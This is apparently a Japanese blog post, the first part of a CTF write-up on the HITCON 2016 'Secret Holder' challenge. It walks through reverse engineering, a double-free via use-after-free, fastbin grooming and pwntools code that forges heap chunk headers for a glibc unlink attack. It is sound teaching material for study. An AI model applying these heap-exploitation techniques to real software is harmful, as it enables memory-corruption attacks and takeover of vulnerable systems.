ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編

今週末はぼっちで過去問の研究をしてました。本エントリーはそれの成果報告です。 題材は、先週開催されたHITCON 2016 QualsよりSecret Holderです。 100点問題のくせに結構な手間がかかる問題ですが、良問だと思うのでみなさんに紹介します。

先にExploitの流れを図で示します。 前編はUnlink Attackまでです。

f:id:katc:20161016235657p:plain

キーワード

  • malloc(mmmap, sbrk)
    • fastbins
  • double-free
  • Use After Free (UAF)
  • Unlink Attack
  • stack smashing
    • stack canary
  • Return Oriented Programming (ROP)
  • GOT Overwrite
  • One-gadget RCE

環境・解くのに使ったもの

環境

% uname -r
4.7.6-1-ARCH
% pacman -Q glibc
glibc 2.24-2

GUI

  • Hopper

shell

  • readelf
  • objdump
  • strings
  • grep/egrep

exploit

  • python2+pwntools

debug

読者の前提

初期フェーズ

問題のバイナリはこちらから。

表層解析

x86-64バイナリで、strippedです。 static linked binaryではなさそうです。

[katc@K_atc SecretHolder]$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped

残念ながらNXビットが有効です、シェルコードを送る問題ではなさそうです。

[katc@K_atc SecretHolder]$ ~/bin/checksec.sh/checksec --file SecretHolder
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes 0   2 SecretHolder

動的解析その1

一通り動かしてみると、こんな感じになります。

[katc@K_atc SecretHolder]$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret
2
Tell me your secret: 
big secret
1. Keep secret
2. Wipe secret
3. Renew secret
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
2
Tell me your secret: 
big big secret
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
2
1. Keep secret
2. Wipe secret
3. Renew secret
^C

秘密を大きさ別に管理できるプログラムのようです。 機能は次のとおりです。

  • keep: small, big, huge ごとに秘密を入力する
  • wipe: 秘密1つを消す
  • renew: 秘密1つを上書きする

秘密にフラグが入っていてそれを読み出す問題もありえますが、 フラグを読み出す処理がバイナリに含まれていないのでシェルを起動する問題と判断できます。

静的解析

Hopperにバイナリを食わせ、ルーティンや変数のラベルを付けなおしてデコンパイルし、読みやすく整形すると次のコードのようになります。

char* big_secret; // 0x6020a0
char* huge_secret; // 0x6020a8
char* small_secret; // 0x6020b0

int32_t holding_big_secret; // 0x6020b8
int32_t holding_huge_secret; // 0x6020bc
int32_t holding_smalll_secret; // 0x6020c0

function wipe_secret {
    var_8 = *0x28;
    puts("Which Secret do you want to wipe?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    rax = rax;
    if (rax == 0x1) {
        rax = *small_secret;
        free(rax);
        *(int32_t *)holding_smalll_secret = 0x0;
    }
    if (rax == 0x3) {
        rax = *huge_secret;
        free(rax);
        *(int32_t *)holding_huge_secret = 0x0;
    }
    if (rax == 0x2) {
        rax = *big_secret;
        free(rax);
        *(int32_t *)holding_big_secret = 0x0;
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

function renew_secret {
    var_8 = *0x28;
    puts("Which Secret do you want to renew?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    rax = rax;
    if ((rax == 0x1) && (*(int32_t *)holding_smalll_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *small_secret, 0x28);
    }
    if ((rax == 0x3) && (*(int32_t *)holding_huge_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *huge_secret, 0x61a80);
    }
    if ((rax == 0x2) && (*(int32_t *)holding_big_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *big_secret, 0xfa0);
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

function keep_secret {
    var_8 = *0x28; // stack canary
    puts("Which level of secret do you want to keep?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    if (rax == 0x1) {
        if (*(int32_t *)holding_smalll_secret == 0x0) {
            *small_secret = calloc(0x1, 0x28);
            *(int32_t *)holding_smalll_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *small_secret, 0x28);
        }
    }
    if (rax == 0x3) {
        if (*(int32_t *)holding_huge_secret == 0x0) {
            *huge_secret = calloc(0x1, 0x61a80);
            *(int32_t *)holding_huge_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *huge_secret, 0x61a80);
        }
    }
    if (rax == 0x2) {
        if (*(int32_t *)holding_big_secret == 0x0) {
            *big_secret = calloc(0x1, 0xfa0);
            *(int32_t *)holding_big_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *big_secret, 0xfa0);
        }
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

void alarm_handler { // 0x400c68
    puts("Timeout!");
    exit(0x1);
    return;
}


function set_alarm {
    rax = *stdout;
    setvbuf(rax, 0x0, 0x2, 0x0);
    signal(0xe, 0x400c68);
    rax = alarm(0x3c); // 60 sec
    return rax;
}


function main {
    set_alarm();
    puts("Hey! Do you have any secret?");
    puts("I can help you to hold your secrets, and no one will be able to see it :)");
    goto loc_400cf7;

loc_400cf7:
    do {
            do {
                    puts("1. Keep secret");
                    puts("2. Wipe secret");
                    puts("3. Renew secret");
                    memset(var_10, 0x0, 0x4);
                    read(0x0, var_10, 0x4);
                    rax = atoi(var_10);
                    if (rax != 0x2) {
                        break;
                    }
                    wipe_secret();
            } while (true);
            if (rax != 0x3) {
                break;
            }
            renew_secret();
    } while (true);
    if (rax == 0x1) {
            keep_secret();
    }
    goto loc_400cf7;
}

次のことが分かります。

  • 60秒のアラームが設定されており、タイムアウトするとプログラムが終了する
    • 手元で動かすときはパッチでなんとかする(→パッチ編)
  • small, big, huge のバッファのサイズはそれぞれ 0x28, 0xfa0, 0x61a80 で、hugeはsbrk()で確保されないチャンクにありそう(?)
    • そのように判断したのはhugeのallocateサイズがバカでかいから
    • チャンク2つではどうしようもないのでなんとかせねば
  • systemがpltに無いので、Exploit後半でlibcのベースアドレスのリークが必要
    • libc.soが配布されてないが、他にいい方法があるのだろうか?
  • keepではそのサイズの秘密を保持しているかどうかの変数(holdingなんちゃら)の値が0、renewではそれが1である必要がある。
  • wipeではsmall, big, hugeを自由にwipeできる上に、ポインタをNULLで上書きしない(自明なUse After Free)

また、.bssの変数は次の配置になっていることが分かります。

address name
0x602090 stdout
0x6020a0 big_secret
0x6020a8 huge_secret
0x6020b0 small_secret
0x6020b8 holding_big_secret
0x6020bc holding_huge_secret
0x6020c0 holding_small_secret

手詰まり感が出てきたので模索フェーズに入ります。

パッチ編

タイムアップを遅くするのは、こんなコードで実現できます。

BIN = "./SecretHolder"
PATCHED_BIN = BIN + ".patched"
e = ELF(BIN)
if not os.path.exists(PATCHED_BIN):
    e = ELF(BIN)
    e.asm(0x400cb1, 'mov edi,0xffffff')
    e.save(PATCHED_BIN)
    os.system("chmod +x %s" % PATCHED_BIN)
    log.info("patched binary")
    exit()

触ったアセンブリはここです。

set_alarm:
0000000000400c81         mov        rbp, rsp
0000000000400c84         mov        rax, qword [ds:stdout]
0000000000400c8b         mov        ecx, 0x0                                    ; argument "size" for method j_setvbuf
0000000000400c90         mov        edx, 0x2                                    ; argument "type" for method j_setvbuf
0000000000400c95         mov        esi, 0x0                                    ; argument "buf" for method j_setvbuf
0000000000400c9a         mov        rdi, rax                                    ; argument "stream" for method j_setvbuf
0000000000400c9d         call       j_setvbuf
0000000000400ca2         mov        esi, 0x400c68                               ; argument "func" for method j_signal
0000000000400ca7         mov        edi, 0xe                                    ; argument "sig" for method j_signal
0000000000400cac         call       j_signal
0000000000400cb1         mov        edi, 0x3c                                   ; argument "seconds" for method j_alarm
0000000000400cb6         mov        eax, 0x0
0000000000400cbb         call       j_alarm
0000000000400cc0         pop        rbp
0000000000400cc1         ret        
                        ; endp

便利gdbコマンドの準備

メモリをダンプするxコマンドを叩きまくるのはだるいです。 メモリ構造は決まっていて、それをmallocのチャンクとして把握してますから、 pritty printするスクリプトを書くと捗ります。
ついでに大域変数のアドレスを覚えるのはだるいので変数でエクスポートするのも手です。
# gdbが64ビットのアドレスをうまく扱ってくれないのなんとかならへんの?

set $big_secret = 0x6020a0
set $huge_secret = 0x6020a8
set $small_secret = 0x6020b0
set $holding_big_secret = 0x6020b8
set $holding_huge_secret = 0x6020bc
set $holding_small_secret = 0x6020c0

set $mygets = 0x4009f9

define debug

    printf "holding (small, big, huge) secret = (%d, %d, %d)\n", *$holding_small_secret, *$holding_big_secret, *$holding_huge_secret

    if *(long long*)$small_secret != 0
        printf "small_secret malloced at %#x\n", *$small_secret
        # x/4xg *$small_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$small_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$small_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$small_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$small_secret) + 8)
        printf "  content   = %s\n", *$small_secret
    end
    
    if *(long long*)$big_secret
        printf "big_secret malloced at %#x\n", *$big_secret
        # x/4xg *$big_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$big_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$big_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$big_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$big_secret) + 8)
        printf "  content   = %s\n", *($big_secret)
    end

    if *(long long*)$huge_secret 
        printf "huge_secret malloced at %#x\n", *(long long*)$huge_secret
        # x/4xg *(long long*)$huge_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$huge_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$huge_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$huge_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$huge_secret) + 8)
        printf "  content   = %s\n", *((long long*)$huge_secret)
    end

end

スクリプトファイルはgdb起動時に-xオプションで渡してください。

模索フェーズ

mallocの仕組みをうまく使って、hugeがsmallやbigと同じページに来るようにしたいところです。 ここで簡単な実験をしました(wandbox)。 まず次のコードを書きました。

#include <stdio.h>
#include <stdlib.h>

// 元ネタ:HITOCON 2016 Quals - Secret Holder (Pwn100)

int main() {
    void* mapped;
    puts("small malloc ");
    mapped = malloc(0x20);
    printf("allocated at %#x\n", mapped);
    free(mapped);

    // main+66
    puts("1st huge malloc ");
    mapped = malloc(0x61a80);
    printf("allocated at %#x\n", mapped);
    free(mapped); // main+119
    
    // main+129
    puts("2nd huge malloc");
    mapped = malloc(0x61a80);
    printf("allocated at %#x\n", mapped); // main+165
    free(mapped); // main+177
    
    return 0;
}

これをコンパイルし実行すると次の結果になります。

small malloc 
allocated at 0x1d9d010
1st huge malloc 
allocated at 0x5916d010
2nd huge malloc
allocated at 0x1d9d010

# allocated to な気がしてきたゾ

気づきましたか?hugeに相当するチャンクがsmallの場所に確保されました! これは使えるぞい。

もう少しこの挙動を追っていきます。 システムコールをトレースした結果が次です。

% strace ./test
execve("./test", ["./test"], [/* 54 vars */]) = 0
brk(NULL)                               = 0x203d000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=266935, ...}) = 0
mmap(NULL, 266935, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc59d174000
close(3)                                = 0
open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\3\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1951744, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d172000
mmap(NULL, 3791152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc59cbf6000
mprotect(0x7fc59cd8b000, 2093056, PROT_NONE) = 0
mmap(0x7fc59cf8a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x194000) = 0x7fc59cf8a000
mmap(0x7fc59cf90000, 14640, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc59cf90000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7fc59d173400) = 0
mprotect(0x7fc59cf8a000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7fc59d1b6000, 4096, PROT_READ) = 0
munmap(0x7fc59d174000, 266935)          = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
brk(NULL)                               = 0x203d000
brk(0x205e000)                          = 0x205e000
write(1, "small malloc \n", 14small malloc 
)         = 14
write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420
) = 23
write(1, "1st huge malloc \n", 171st huge malloc 
)      = 17
mmap(NULL, 401408, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d110000
write(1, "allocated at 0x9d110010\n", 24allocated at 0x9d110010
) = 24
munmap(0x7fc59d110000, 401408)          = 0
write(1, "2nd huge malloc\n", 162nd huge malloc
)       = 16
brk(0x20bf000)                          = 0x20bf000
write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420
) = 23
exit_group(0)                           = ?
+++ exited with 0 +++

hugeの1回目のmallocではmmmap()が発行されましたが、2回目ではbrk()が使われています。

次にmmap()とsbrk()の分かれ目をお勉強します。 mallocの日本語資料はmalloc(3))のメモリ構造が秀逸だと思います。

sYSMALLOc()の動きについて簡単に説明します。ここではmain_arenaでないarenaの場合の説明については除きます。 要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います。この部分の説明は別章「6. mmapped chunkの確保、解放」にて行います。nbがmp_.mmap_threshold未満の場合ヒープ領域を拡張します。次の式で拡張サイズを算出します。
nb + mp_.top_pad + MINSIZE これよりav->topのサイズを引いた(未使用領域も考慮した)サイズを拡張サイズとします。更にこのサイズをページサイズに換算します。この様にして求めたサイズでsbrk()をコールしてヒープ領域を拡張します。得られた領域をav->topに設定します。この中からnbのchunkを切り出しそのアドレスをリターンします。メモリプールがない状態でsYSMALLOc()が呼ばれた場合も同様の流れでメモリプールの生成が行われます。ただメモリプールの先頭を8バイト境界になる様に調整する所が異なります。そのアドレスがav->topとして設定されます。 public_mALLOc()に戻った後、arenaのロックを解除し得られたアドレスをコール側に戻します。

これによると、要求サイズがthresholdを超えるかどうかでmmap()が発動するかどうか決まるようです。 もしこのthresholdが固定値だったら、無事終了😇になってしまいそうです。手詰まりになってしまった根本的な原因がここにありました。

thresholdの更新に気をつけながらglibcソースコードを読解して実験での動作の裏付けします。 malloc.cを見ると、 「要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います」は次のコード①、②で裏付けられます。

2272   /*
2273      If have mmap, and the request size meets the mmap threshold, and
2274      the system supports mmap, and there are few enough currently
2275      allocated mmapped regions, try to directly map this request
2276      rather than expanding top.
2277    */
2278 
2279   if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
2280       (mp_.n_mmaps < mp_.n_mmaps_max)) ①
2281     {
2282       char *mm;           /* return value from mmap call*/
2283 
2284     try_mmap:
2285       /*
2286          Round up size to nearest page.  For mmapped chunks, the overhead
2287          is one SIZE_SZ unit larger than for normal chunks, because there
2288          is no following chunk whose prev_size field could be used.
2289 
2290          See the front_misalign handling below, for glibc there is no
2291          need for further alignments unless we have have high alignment.
2292        */
2293       if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
2294         size = (nb + SIZE_SZ + pagemask) & ~pagemask;
2295       else
2296         size = (nb + SIZE_SZ + MALLOC_ALIGN_MASK + pagemask) & ~pagemask;
2297       tried_mmap = true;
2298 
2299       /* Don't try if size wraps around 0 */
2300       if ((unsigned long) (size) > (unsigned long) (nb))
2301         {
2302           mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0)); ②

thresholdが更新されることは__libc_free()から分かります。 mmapで確保されたチャンクではチャンクのサイズが現在のthresholdよりも大きいときに、 mp_.mmap_threshold = chunksize (p) すなわちthresholdの更新処理が走ります。 実験のコードでは1回目のhugeのfree()のあとに更新があったため、2回目ではsbrk()が起こり、smallと同じページに確保されるようになったと考えられます。

2907 void
2908 __libc_free (void *mem)
2909 {
2910   mstate ar_ptr;
2911   mchunkptr p;                          /* chunk corresponding to mem */
2912 
2913   void (*hook) (void *, const void *)
2914     = atomic_forced_read (__free_hook);
2915   if (__builtin_expect (hook != NULL, 0))
2916     {
2917       (*hook)(mem, RETURN_ADDRESS (0));
2918       return;
2919     }
2920 
2921   if (mem == 0)                              /* free(0) has no effect */
2922     return;
2923 
2924   p = mem2chunk (mem);
2925 
2926   if (chunk_is_mmapped (p))                       /* release mmapped memory. */
2927     {
2928       /* see if the dynamic brk/mmap threshold needs adjusting */
2929       if (!mp_.no_dyn_threshold
2930           && p->size > mp_.mmap_threshold
2931           && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
2932         {
2933           mp_.mmap_threshold = chunksize (p);
2934           mp_.trim_threshold = 2 * mp_.mmap_threshold;
2935           LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
2936                       mp_.mmap_threshold, mp_.trim_threshold);
2937         }
2938       munmap_chunk (p);
2939       return;
2940     }
2941 
2942   ar_ptr = arena_for_chunk (p);
2943   _int_free (ar_ptr, p, 0);
2944 }

チャンクヘッダ操作用のバッファの確保(+double-free)

後のUAFで幾つかのfree済みのチャンクを書き換えたり、偽のチャンクを作ったりできる余裕ができるように、 攻撃用のバッファはhugeとします。 まず、模索フェーズで判明した挙動を使ってhuge_secret==small_secretとなるような操作をします。 下のコードのkeep(huge, "huge = small")までがその手順です。
# 関数定義は最後のパートに掲載するExploitコードで確認してください。操作は文字通りです。

最後の仕上げはsmallのdouble-freeです。 double-freeは一度確保したチャンクを2回freeできる状態にあるようなバグを指します。 一度freeしたのにまだその場所を指すようなポインタが存在するために2度めのfreeが可能なのです。 wipe(small)によって、hugeが専有していたメモリが解放されます(huge_secret==small_secretなのでwipe(huge)と同等。ただし、holding_huge_secretが0にならないというおまけ付き)。 後でhugeがあった場所にsmallやbigをmallocさせることができるようになります。
wipe(huge)でも似たようなことができますが、hugeを通してヒープを書き換えることができなくなるので、これはノーチャンです。)

keep(huge, "") # mmap()
wipe(huge)     # free()

"""chunks
ps = prev_size
-- H ----  -- S ------
(ps = ?)   (ps = ?)
size=      size = 0x30
"huge"     "small"
           -----------
           -- B ------
           (ps = 0x30)
           size = 0xfa0 | 1
           "big"
---------  -----------
"""

"""double-free"""
keep(small, "small")
wipe(small)                 # first free(S)
keep(huge, "huge = small")  # sbrk(), make H
wipe(small)                 # second free(S)

参考までに、最後のwipe(small)をした場合、しなかった場合で、 上のコードの続きでkeep(small), keep(big)した場合のチャンク内容をこの順に示します。

gdb-peda$ debug
holding (small, big, huge) secret = (1, 1, 1)
small_secret malloced at 0xe19010
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss

big_secret malloced at 0xe19040
  prev_size =                0
  size      =            0xfb1
  fd        =       0x62626262
  bk        =              0xa
  content   = bbbbbbbb

huge_secret malloced at 0xe19010
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss
gdb-peda$ debug
holding (small, big, huge) secret = (1, 1, 1)
small_secret malloced at 0x6b2aa0
  prev_size =                0
  size      =             0x31
  fd        =       0x73737373
  bk        =              0xa
  content   = ssssssss

big_secret malloced at 0x6b2ad0
  prev_size =                0
  size      =            0xfb1
  fd        =       0x62626262
  bk        =              0xa
  content   = bbbbbbbb

huge_secret malloced at 0x651010
  prev_size =                0
  size      =          0x61a91
  fd        =       0x65677568
  bk        =       0x6c6c616d
  content   = huge = small

Use After Freeは解放済みのメモリ領域を書き換える攻撃です。 ここでは未使用チャンクのヘッダを書き換えることを目標にします。 これにより、Unlink Attack(※後述)を発動することができます。 さらにUnlink AttackからのGOT Overwriteを目論んでいます。

このフェーズは勉強になるしふくろくん方式で進めていきます。

fastbinsの準備

hugeに対して、smallが少し下、bigがsmallの直下にくると、renew(huge)によってsmallとbigのチャンクヘッダを書き換えることができます。
今は、smallとbigのそのような配置を実現するような手順を考えます。

fastbinsでは、要求サイズが小さい時に取り出されている未使用チャンクのリストです。 LIFOである点がミソです。
もともと隣接していたサイズが0x30の2つのチャンクA,Bがこの順にfastbinsに繋がったらどうなるでしょうか? 次のmalloc(0x28);では最後に繋がったチャンクBが返ってきます。 そしてBはAに対して0x30だけアドレスが下にあります。さらに、Aがhugeと同じアドレスだった場合は…そうです、Bはhugeに対して少し下に来ますね。これは使えるぞい。
ということで、これまでの手順のコードがこれです。

"""fastbins chunks"""
keep(small, "s"*8)
keep(big, "b"*8)
raw_input('Press Enter to continue: ')
renew(huge, ''.join([
    "S" * 0x28,             # content of S
    p64(0x30 | 1),          # fake size for B; there're two 30 bytes chunks
    "B" * 0x28,             # content of B
    p64(0x1919 | 1)         # fake in-use chunk size (decide "size" by yourself)
    ]))
wipe(small) # fastbins -> small
wipe(big) # fastbins -> small -> big

Unlink Attackの説明は、bataさんのkatagaitai勉強会資料が秀逸です。 基本的な説明はそのスライドに譲ります。

f:id:katc:20161016235732p:plainf:id:katc:20161016235745p:plainf:id:katc:20161016235751p:plainf:id:katc:20161016235802p:plainf:id:katc:20161016235818p:plain

ここで補足すべきことは、

  • 【今回は】P2はチャンクヘッダ上では未使用で(PREV_INUSE = 0)、free(P)する【※スライドと逆】
  • x86-64では、メンバのビット幅は8バイ
  • X-0x8はX-0x10, X-0xCはX-0x18と読み替える

ということです。スライドで分かりにくい、Unlink Attack後にXがX-0xCを指す理由は後で解説します。

ではUse After Freeを今回の問題に適用した場合で話を進めます。 「アドレス的にPの直前のメモリP2が利用中だったとする」は隣接したsmallとbigのことになります。 今回はwipe(big) (=free(big))によりUnlink(Unlinkの意味は後述)します。

XはP2を指していなければなりません。 といことで、しふくろくん方式ではXはsmall_secretになります。
# 後述のfastbinを使わない解法では、Xはhuge_secretでもいいですが、後々これは微妙です。理由は余談で話します。
スライド76の時点では、X(small_secret)はP(=big)を指しています。P2はsmallに当たります。

スライド77のタイミングで、hugeからP2, Pを次のように書き換えます。

  • P2のfd/bkメンバはUnlink Attackで使う。fdがX-0x18、bkがX-0x10を指すような値にする
  • P2の残りは適当にパディング
  • Pのprev_sizeはP2の正しいサイズの0x30にしておく
  • P2が未使用であるかのように見せる(PREV_INUSE = 0)ためにPのsizeメンバの値を0x30 & ~PREV_INUSE(=0x30)とする
  • Pの中身はどうでもいい(ので何も書き換えない)

というわけでコードはこうなります。

"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
    '\0' * 0x30,                # "small" is allocated to huge+0x30 (fastbins is LIFO)
                                # we can manipulate "small" chunk header with huge 
    # P2
    p64(0),                     # prev_size
    p64(0xfa0 | 1),             # size
    p64(small_secret - 0x18),   # fd
    p64(small_secret - 0x10),   # bk
    '\0' * (0xfa0 - 0x20),
    # P                        # "big" is allocated to huge+0x30+0xfa0 (under B)
    p64(0xfa0),                 # prev_size
    p64(0xfb0 & ~1),            # size
    ]))
wipe(big)                       # free(P) => unlink atack (X = X-0x18)

P2のfd/bkを書き換えてうまくいく裏付けをmalloc.cに求めよう。 Unlinkというものはmalloc_consolidateと呼ばれる処理で呼ばれます。 malloc_consolidateについては、例の神資料の説明を借ります。

ではmalloc_consolidate()の説明です。解放されたchunkの内max_fast以下のサイズのものは無条件にfastbinsに登録される為、大きなサイズになり得る領域を分断しているかもしれません。malloc_consolidate()ではfastbinsに登録された全chunkをこのリストから削除します。

この隣接した未使用チャンクの結合処理で呼ばれるのがUnlinkです。 該当のソースコードはこちらです。今回の条件では①、②、③がポイントです(おそらく)。

4100 static void malloc_consolidate(mstate av)
4101 {
4102   mfastbinptr*    fb;                 /* current fastbin being consolidated */
4103   mfastbinptr*    maxfb;              /* last fastbin (for loop control) */
4104   mchunkptr       p;                  /* current chunk being consolidated */
4105   mchunkptr       nextp;              /* next chunk to consolidate */
4106   mchunkptr       unsorted_bin;       /* bin header */
4107   mchunkptr       first_unsorted;     /* chunk to link to */
4108 
4109   /* These have same use as in free() */
4110   mchunkptr       nextchunk;
4111   INTERNAL_SIZE_T size;
4112   INTERNAL_SIZE_T nextsize;
4113   INTERNAL_SIZE_T prevsize;
4114   int             nextinuse;
4115   mchunkptr       bck;
4116   mchunkptr       fwd;
4117 
4118   /*
4119     If max_fast is 0, we know that av hasn't
4120     yet been initialized, in which case do so below
4121   */
4122 
4123   if (get_max_fast () != 0) {
4124     clear_fastchunks(av);
4125 
4126     unsorted_bin = unsorted_chunks(av);
4127 
4128     /*
4129       Remove each chunk from fast bin and consolidate it, placing it
4130       then in unsorted bin. Among other reasons for doing this,
4131       placing in unsorted bin avoids needing to calculate actual bins
4132       until malloc is sure that chunks aren't immediately going to be
4133       reused anyway.
4134     */
4135 
4136     maxfb = &fastbin (av, NFASTBINS - 1);
4137     fb = &fastbin (av, 0);
4138     do {
4139       p = atomic_exchange_acq (fb, 0);
4140       if (p != 0) {
4141     do {
4142       check_inuse_chunk(av, p);
4143       nextp = p->fd;
4144 
4145       /* Slightly streamlined version of consolidation code in free() */
4146       size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
4147       nextchunk = chunk_at_offset(p, size); ①
4148       nextsize = chunksize(nextchunk);
4149 
4150       if (!prev_inuse(p)) { ②
4151         prevsize = p->prev_size;
4152         size += prevsize;
4153         p = chunk_at_offset(p, -((long) prevsize));
4154         unlink(p, bck, fwd); ③
4155       }
4156 

スライド80のタイミングでXの値が変わります。 どうしてX-0xC(X-0x18)を指すことになるのかを順に追っていきます。 まず、Pのfd/bkはXの方を指していますから、mallocから見て、未使用のチャンクリストはX->P2->Xのように見えます。 次に、PからP2のサイズ(Pのチャンクヘッダのprev_size)だけ引かれるため、①で、free(P)だった話が、free(p2)の話にすり替わります。 PでPREV_INUSEを0にしたので②はtrueになります。 最後に、③でUnlink(P2)が走ります。 ここまでがスライド79の内容です。

ではスライド80を見ます。 Unlink(P2)で何が起こるのかをmalloc.cで同様に追います。 Unlinkはunlinkというマクロで次のように定義されています。

1407 #define unlink(P, BK, FD) {                                            \
1408     FD = P->fd;                                   \
1409     BK = P->bk;                                   \
1410     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
1411       malloc_printerr (check_action, "corrupted double-linked list", P);      \
1412     else {                                    \
1413         FD->bk = BK;                                  \
1414         BK->fd = FD;                                  \
1415         if (!in_smallbin_range (P->size)                      \
1416             && __builtin_expect (P->fd_nextsize != NULL, 0)) {            \
1417             assert (P->fd_nextsize->bk_nextsize == P);                \
1418             assert (P->bk_nextsize->fd_nextsize == P);                \
1419             if (FD->fd_nextsize == NULL) {                    \
1420                 if (P->fd_nextsize == P)                      \
1421                   FD->fd_nextsize = FD->bk_nextsize = FD;             \
1422                 else {                                \
1423                     FD->fd_nextsize = P->fd_nextsize;                 \
1424                     FD->bk_nextsize = P->bk_nextsize;                 \
1425                     P->fd_nextsize->bk_nextsize = FD;                 \
1426                     P->bk_nextsize->fd_nextsize = FD;                 \
1427                   }                               \
1428               } else {                                \
1429                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;             \
1430                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;             \
1431               }                                   \
1432           }                                   \
1433       }                                       \
1434 }

今関係ある処理に絞るとこんなコードとして読み取れます。

1407 #define unlink(P, BK, FD) {                                            \
1408     FD = P->fd;                                   \
1409     BK = P->bk;                                   \
1410     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))             \
1411       malloc_printerr (check_action, "corrupted double-linked list", P);      \
1412     else {                                    \
1413         FD->bk = BK;                                  \
1414         BK->fd = FD;                                  \
1433       }                                       \
1434 }

実際に値を当てはめて挙動を見てみましょう。

#define unlink(P2, X, X) {                                            \
    FD = P2->fd = X-0x18;                                   \
    BK = P2->bk = X-0x10;                                   \
    if (__builtin_expect (FD->bk != P2 || BK->fd != P2, 0))             \
      malloc_printerr (check_action, "corrupted double-linked list", P);      \
    else {                                    \
        X = X-0x10;                                  \
        X = X-0x18;                                  \
      }                                       \
}

(スライド78の通り、FD->bkとBK->fdつまり、(X-0x10)->bkと(X-0x18)->fdはどちらもXすなわちP2なのでassertは通ります)
